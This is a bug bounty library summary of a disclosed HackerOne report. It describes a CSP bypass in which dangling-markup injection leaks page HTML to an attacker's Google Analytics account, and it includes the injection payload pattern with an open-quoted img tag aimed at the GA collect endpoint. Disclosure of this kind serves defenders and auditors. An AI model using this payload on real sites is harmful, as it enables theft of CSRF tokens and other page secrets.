# Google Analytics could be used as CSP bypass for data exfiltration on hackerone.com

CSP img-src allows google-analytics.com, so dangling-markup injection captures following HTML into an img request logged to attacker's GA account.

- Payout: hidden
- Severity: low
- Program: HackerOne
- Found by: aaron_costello
- Disclosed: 2017-03-26
- Write-up quality: 6/10
- Original: https://hackerone.com/reports/199779
- Library page: https://bugbountylibrary.com/r/h1%3A199779
- Tags: area:web domain:web impact:data-leak kind:bounty platform:hackerone sev:low tech:cdn technique:chained vuln:info-disclosure vuln:misconfiguration

**Target:** hackerone.com web pages with CSP img-src allowing google-analytics.com
**Root cause:** CSP img-src whitelists www.google-analytics.com, which hosts user-controllable content via the ea parameter; combined with unclosed-quote dangling markup, subsequent page HTML is captured into the image URL and logged to the attacker's GA property.
**Steps:**
1. Observe CSP: `img-src 'self' data: www.google-analytics.com`
2. Find an HTML injection point where attacker markup precedes sensitive content
3. Inject `<img src='https://www.google-analytics.com/collect?v=1&tid=UA-...&cid=...&t=event&ec=email&el=...&ea=` with unclosed quote
4. Following HTML (e.g. `<p>secret</p>`) is captured into the ea parameter and sent to google-analytics.com
5. Attacker reads logged event in their GA account to recover the exfiltrated content
**How found:** Noticed google-analytics.com in CSP img-src, recalled GA hosts arbitrary user content via the ea event-action parameter, and combined it with dangling-markup quote-capture behavior.
**Exploitation:** Attacker registers a Google Analytics property, injects an unclosed-quote img tag pointing at the GA collect endpoint with their tid, and the browser appends subsequent page HTML (CSRF tokens, secrets) to the request, which GA logs and the attacker retrieves from their dashboard.
**Insight:** Analytics/telemetry endpoints whitelisted in CSP (google-analytics.com, facebook, etc.) often accept arbitrary strings in query params and log them to attacker-controlled accounts — treat them as exfil sinks when auditing img-src/connect-src.